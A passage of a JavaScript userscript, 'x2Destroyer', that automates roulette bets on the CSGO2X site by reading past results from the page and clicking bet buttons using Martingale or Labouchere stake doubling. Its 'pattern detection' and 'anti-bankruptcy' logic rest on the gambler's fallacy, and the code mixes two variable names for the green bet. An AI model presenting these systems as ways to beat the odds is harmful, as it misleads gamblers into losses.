  469.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  470.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  471.         }
  472.       };
  473.     }
  474.      
  475.     labouchereGoalInput.oninput = function() {
  476.       if (labouchereLines.value != '' && labouchereLines.value > 0)
  477.         laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value));
  478.     };
  479.      
  480.     labouchereLines.oninput = function() {
  481.       if (labouchereGoalInput.value != '' && labouchereGoalInput.value > 0)
  482.         laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value));
  483.     }
  484.      
  485.     red.onclick = function() {
  486.       if (status == 2 && !betOnThisRound) {
  487.         currBetAmount = parseInt(simulateBetAmt.value);
  488.         currBetColor = 'r';
  489.         console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  490.         betOnThisRound = true;
  491.       } else {
  492.         if (betOnThisRound)
  493.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  494.         else
  495.           console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  496.       }
  497.     }
  498.      
  499.     green.onclick = function() {
  500.       if (status == 2) {
  501.         if (!betOnThisRound) {
  502.           currBetAmount = parseInt(simulateBetAmt.value);
  503.           currBetColor = 'g';
  504.           console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  505.           betOnThisRound = true;
  506.         } else {
  507.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  508.         }
  509.       } else {
  510.         console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  511.       }
  512.     };
  513.      
  514.     black.onclick = function() {
  515.       if (status == 2) {
  516.         if (!betOnThisRound) {
  517.           currBetAmount = parseInt(simulateBetAmt.value);
  518.           currBetColor = 'b';
  519.           console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;");
  520.           betOnThisRound = true;
  521.         } else {
  522.           console.log("%c[x2Destroyer] You already bet on this round...", "color:red;");
  523.         }
  524.       } else {
  525.         console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;");
  526.       }
  527.     };
  528.     //END [DEFINE LISTENERS]
  529.      
  530.     //START [DEFINING FUNCTIONS]
  531.     function checkStatus() {
  532.       //STATUSES
  533.       // 1 // Rolling    // ***ROLLING***
  534.       // 2 // Betting    // Rolling in XX.XX...
  535.       // 3 // Rolled     // CSGO2X rolled 3!
  536.       // 4 // Confirming // Confirming 625/625 total bets
  537.       return statusBanner.innerHTML;
  538.     }
  539.      
  540.     function getBalance() {
  541.       return balanceSpan.innerHTML;
  542.     }
  543.      
  544.     function secondsToHHMMSS(d) {
  545.       d = Number(d);
  546.       var h = Math.floor(d / 3600);
  547.       var m = Math.floor(d % 3600 / 60);
  548.       var s = Math.floor(d % 3600 % 60);
  549.      
  550.       return ((h > 0 ? h + ":" + (m < 10 ? "0" : "") : "") + m + ":" + (s < 10 ? "0" : "") + s);
  551.     }
  552.      
  553.     /*function sleep() {
  554.         var ms = Math.floor((Math.random() * 100) + 1);
  555.         ms += Math.floor((Math.random() * 100) + 1);
  556.         ms += Math.floor((Math.random() * 100) + 1);
  557.         ms *= 100;
  558.      
  559.         return (new Promise(function(resolve, reject) {
  560.           setTimeout(function() {
  561.             resolve();
  562.           }, ms);
  563.         }));
  564.       }*/
  565.      
  566.     function sleep(x) {
  567.       return (new Promise(function(resolve, reject) {
  568.         setTimeout(function() {
  569.           resolve();
  570.         }, x);
  571.       }));
  572.     }
  573.      
  574.      
  575.     function bet(amount, rgb) {
  576.       switch (rgb) {
  577.         case 'r':
  578.           sleep(10000).then(function() {
  579.             betAmountInput.value = amount;
  580.             redBetButton.click();
  581.           });
  582.           break;
  583.         case 'g':
  584.           sleep(5000).then(function() {
  585.             betAmountInput.value = amount;
  586.             greenBetButton.click();
  587.           });
  588.           break;
  589.         case 'b':
  590.           sleep(10000).then(function() {
  591.             betAmountInput.value = amount;
  592.             blackBetButton.click();
  593.           });
  594.           break;
  595.       }
  596.     }
  597.      
  598.      
  599.     function getColorFromNumber(number) {
  600.       if (number == 0)
  601.         return 'g';
  602.       else if (number >= 1 && number <= 7)
  603.         return 'r';
  604.       else if (number >= 8 && number <= 14)
  605.         return 'b';
  606.     }
  607.      
  608.     function toSignedInt(number) {
  609.       if (number > 0)
  610.         return "+" + number;
  611.      
  612.       return number
  613.     }
  614.      
  615.     function calculateNewDefaultBet(defaultBet, moneyStart, money) {
  616.       return Math.floor((defaultBet / moneyStart) * money);
  617.     }
  618.     //END [DEFINING FUNCTIONS]
  619.      
  620.     //START [MAIN LOOP]
  621.     setInterval(function() {
  622.       runtimeSpan.innerHTML = secondsToHHMMSS(++runtime);
  623.      
  624.       if (running) {
  625.         fullStatus = checkStatus()
  626.         switch (fullStatus.substring(0, 2)) {
  627.           case "**":
  628.             rolled = true;
  629.             status = 1;
  630.             break;
  631.      
  632.           case "Ro":
  633.             if (betOnThisRound && rolled) {
  634.               betOnThisRound = false;
  635.               checkedIfWon = false;
  636.               rolled = false;
  637.             }
  638.             status = 2;
  639.             break;
  640.      
  641.           case "CS":
  642.             status = 3;
  643.             break;
  644.      
  645.           case "Co":
  646.             status = 4;
  647.             break;
  648.      
  649.           default:
  650.             status = 0;
  651.             break;
  652.         }
  653.         //if (status == 2)
  654.         //  console.log("%c[x2Destroyer] Website Status: " + status + " // Rolling in XX.XX...", "color:orange;");
  655.         //else
  656.         // console.log("%c[x2Destroyer] Website Status: " + status + " // " + checkStatus(), "color:orange;");
  657.      
  658.         if (!betOnThisRound && status == 2) {
  659.           skipBet = false;
  660.           //decide which color to bet on
  661.           if (!manualMode) {
  662.             if (getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) != 'g') currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML);
  663.             else
  664.               currBetColor = 'r';
  665.      
  666.             if (trainProtectionCheckbox.checked) {
  667.               if ((getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  668.                 console.log("%c[x2Destroyer] Train Detected!", "color:blue;");
  669.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML);
  670.               }
  671.             }
  672.      
  673.             if (rainbowProtectionCheckbox.checked) {
  674.               if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r')) {
  675.                 console.log("%c[x2Destroyer] Rainbow Detected!", "color:blue;");
  676.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML);
  677.               }
  678.             }
  679.             if (rrbbProtectionCheckbox.checked) {
  680.               if ((getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  681.                 console.log("%c[x2Destroyer] RRBB Pattern Detected!", "color:blue;");
  682.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML);
  683.               }
  684.             }
  685.             if (rrbProtectionCheckbox.checked) {
  686.               if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) {
  687.                 console.log("%c[x2Destroyer] RRB Pattern Detected!", "color:blue;");
  688.                 currBetColor = getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML);
  689.               }
  690.             }
  691.           }
  692.      
  693.           if (mode == 0 && !manualMode) { //Martingale System
  694.             if (nightengaleStopAfterXGamesCheckbox.checked && (betsWon + betsLost) == parseInt(nightengaleStopAfterXGamesInput.value)) {
  695.               stopButton.click();
  696.               console.log("%c[x2Destroyer] Nightengale: Stop after " + nightengaleStopAfterXGamesInput.value + " reached! Stopping...: ", "color:purple");
  697.             }
  698.      
  699.             if (nightengaleStopAfterReachingXCheckbox.checked && ((!simulationMode && ((getBalance() - startBalance) == parseInt(nightengaleStopAfterReachingXInput.value))) || (simulationMode && ((simulationMoney - simulationMoneyStart) == parseInt(nightengaleStopAfterReachingXInput.value))))) {
  700.               stopButton.click();
  701.               console.log("%c[x2Destroyer] Nightengale: Stop after attaining " + nightengaleStopAfterReachingXInput.value + " reached! Stopping...: ", "color:purple");
  702.             }
  703.      
  704.             //decide the amount to bet
  705.             if (antiDoubleGreenCounter == 0)
  706.               antiDoubleGreenCounter = -1;
  707.      
  708.             if (!betOnThisRound && wonLastBet) {
  709.               currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  710.               if (betOnGreenEnabled)
  711.                 currBetGreenAmount = parseInt(nightengaleBetOnGreenInput.value);
  712.               antiLoseAllCounter = 0;
  713.      
  714.             } else if (antiDoubleGreenCounter == -1 && !betOnThisRound && antiDoubleGreenEnabled && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'g') {
  715.               antiDoubleGreenCounter = parseInt(nightengaleAntiDoubleGreenInput.value);
  716.               console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets!", "color:green");
  717.               skipBet = true;
  718.               betOnThisRound = true;
  719.               antiDoubleGreenCounter -= 1;
  720.             } else if (!betOnThisRound && antiDoubleGreenCounter >= 0) {
  721.               if (antiDoubleGreenCounter == 1) {
  722.                 console.log("%c[x2Destroyer] Last bet skip!", "color:green");
  723.                 antiDoubleGreenCounter = -1;
  724.                 skipBet = true;
  725.                 betOnThisRound = true;
  726.               } else if (!skipBet && !betOnThisRound) {
  727.                 console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets", "color:green");
  728.                 betOnThisRound = true;
  729.                 skipBet = true;
  730.                 antiDoubleGreenCounter -= 1;
  731.               }
  732.             } else {
  733.               antiLoseAllCounter++;
  734.               if (antiBankruptcy && ((simulationMode && (lastBetAmount * 2 > simulationMoney)) || (!simulationMode && (lastBetAmount * 2 > getBalance())))) {
  735.                 console.log("%c[x2Destroyer] Anti-Bankruptcy triggered!", "color:blue;");
  736.      
  737.                 if (simulationMode) {
  738.                   nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, simulationMoneyStart, simulationMoney);
  739.                   console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;");
  740.                 } else {
  741.                   nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, startBalance, getBalance());
  742.                   console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;");
  743.                 }
  744.      
  745.                 currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  746.                 if (betOnGreenEnabled)
  747.                   currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value);
  748.                 wonLastBet = true;
  749.               } else {
  750.                 if (antiLoseAllCounter >= parseInt(nightengaleAntiLoseallInput.value)) {
  751.                   antiLoseAllCounter = 0;
  752.                   console.log("%c[x2Destroyer] Anti-Lose all triggered!", "color:green");
  753.                   currBetAmount = parseInt(nightengaleDefaultBetInput.value);
  754.                   if (betOnGreenEnabled)
  755.                     currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value);
  756.                 } else {
  757.                   currBetAmount = lastBetAmount * 2;
  758.                   if (betOnGreenEnabled)
  759.                     currBetGreenAmount = lastBetGreenAmount * 2;
  760.                 }
  761.               }
  762.      
  763.             }
  764.           }
  765.         } else if (mode == 1 && !manualMode) { //labouchere system
  766.           if (simulationMode) {
  767.             if ((simulationMoney - simulationMoneyStart) == goal) {
  768.               stopButton.click();
  769.               console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple");
  770.             }
  771.           } else {
  772.             if ((getBalance() - startBalance) == goal) {
  773.               stopButton.click();
  774.               console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple");
  775.             }
  776.           }
  777.      
  778.           if (wonLastBet && (betsWon + betsLost) > 0) {
  779.             lines.splice((lines.length - 1), 1);
  780.             lines.splice(0, 1);
  781.           } else if (!wonLastBet && (betsWon + betsLost) > 0) {
  782.             lines.push(lastBetAmount);
  783.           }
  784.      
  785.           if (lines.length > 1)
  786.             currBetAmount = (lines[0] + lines[lines.length - 1]);
  787.           else
  788.             currBetAmount = lines[0];
  789.      
  790.           console.log("%c[x2Destroyer] Lines: " + lines, "color:blue");
  791.         }
  792.      
  793.         //bet
  794.         if (!skipBet) {
  795.      
  796.           //////////////////////////////////////////////////////
  797.           if (currBetColor == 'r') {
  798.             resultcolor = "RED";
  799.           } else if (currBetColor == 'b') {
  800.             resultcolor = "BLACK";
  801.           } else if (currBetColor == 'g') {
  802.             resultcolor = "GREEN";
  803.           }
  804.           //////////////////////////////////////////////////////
  805.      
  806.           if (!simulationMode && !betOnThisRound) {
  807.             betOnThisRound = true;
  808.             lastBetAmount = currBetAmount;
  809.             lastBetGreenAmount = currBetGreenAmount;
  810.      
  811.      
  812.             //bet on green part
  813.             if (betOnGreenEnabled) {
  814.               console.log("%c[x2Destroyer] Total Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;");
  815.               bet(currBetGreenAmount, 'g');
  816.             }
  817.      
  818.      
  819.      
  820.      
  821.             console.log("%cTotal Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;");
  822.             bet(currBetAmount, currBetColor);
  823.           } else if (simulationMode && !manualMode && !betOnThisRound) {
  824.             betOnThisRound = true;
  825.             lastBetAmount = currBetAmount;
  826.             lastBetGreenAmount = currBetGreenAmount;
  827.      
  828.             console.log("%cTotal Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;");
  829.             //console.log("%c[x2Destroyer] Total Money: " + simulationMoney, "color:purple;");
  830.             //console.log("%cTotal Bets: " + (betsWon + betsLost), "color:purple;");
  831.             //console.log("%cWins: " + betsWon + " Losses: " + betsLost, "color:purple;");
  832.             //console.log("%cNet Change: " + toSignedInt(simulationMoney - simulationMoneyStart), "color:purple;");
  833.             //console.log("%cSimulated Bet of " + currBetAmount, "color:purple;");
  834.             //console.log("%cMax WinStreak: " + maxwinstreak, "color:purple;");
  835.             //console.log("%cMax LoseStreak: " + maxlosestreak, "color:purple;");
  836.             //console.log("%cCurrent "+ winorlosestreak +": " + currstreak, "color:purple;");
  837.             //console.log("%cBet on color " + currBetColor, "color:purple;");
  838.             if (betOnGreenEnabled)
  839.               console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;");
  840.           }
  841.      
  842.           if (!checkedIfWon && betOnThisRound && status == 3) {
  843.             if ((betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g') || currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))) {
  844.               wonLastBet = true;
  845.      
  846.               //////////////////////////////////////////
  847.               wstreak = 1;
  848.               currstreak++;
  849.               maxlose = 0;
  850.               maxwin++;
  851.               if (maxwin > maxwinstreak) {
  852.                 maxwinstreak++;
  853.               }
  854.               if (lstreak > 0) {
  855.                 currstreak = 1;
  856.               }
  857.               lstreak = 0;
  858.               winorlosestreak = "Winstreak";
  859.               //////////////////////////////////////////
  860.      
  861.               betsWon++;
  862.               console.log("%c[x2Destroyer] Won Last Bet! :D", "color:green;");
  863.               if (simulationMode) {
  864.                 if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g')
  865.                   simulationMoney += currBetGreenAmount * 14;
  866.                 else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g')
  867.                   simulationMoney -= currBetGreenAmount;
  868.      
  869.                 if (currBetColor != 'g') {
  870.                   if (currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)))
  871.                     simulationMoney += currBetAmount;
  872.                 } else {
  873.                   if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))))
  874.                     simulationMoney += 14 * currBetAmount;
  875.                 }
  876.               }
  877.             } else {
  878.               wonLastBet = false;
  879.      
  880.               //////////////////////////////////////////
  881.               lstreak = 1;
  882.               currstreak++;
  883.               maxwin = 0;
  884.               maxlose++;
  885.               if (maxlose > maxlosestreak) {
  886.                 maxlosestreak++;
  887.               }
  888.               if (wstreak > 0) {
  889.                 currstreak = 1;
  890.               }
  891.               wstreak = 0;
  892.               winorlosestreak = "Losestreak";
  893.               //////////////////////////////////////////
  894.      
  895.               betsLost++;
  896.               console.log("%c[x2Destroyer] Lost Last Bet! :(", "color:red;");
  897.               if (simulationMode) {
  898.                 if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g')
  899.                   simulationMoney -= currBetGreenAmount;
  900.                 else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g')
  901.                   simulationMoney += currBetGreenAmount * 14;
  902.      
  903.                 if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))))
  904.                   simulationMoney -= currBetAmount;
  905.               }
  906.             }
  907.      
  908.             checkedIfWon = true;
  909.           }
  910.         } else if (!betOnThisRound && skipBet) {
  911.           console.log("%c[x2Destroyer] Skipping bet! :)", "color:green");
  912.         }
  913.       }
  914.     }, 1000);
  915.     //END [MAIN LOOP]
Advertisement
RAW Paste Data Copied
Advertisement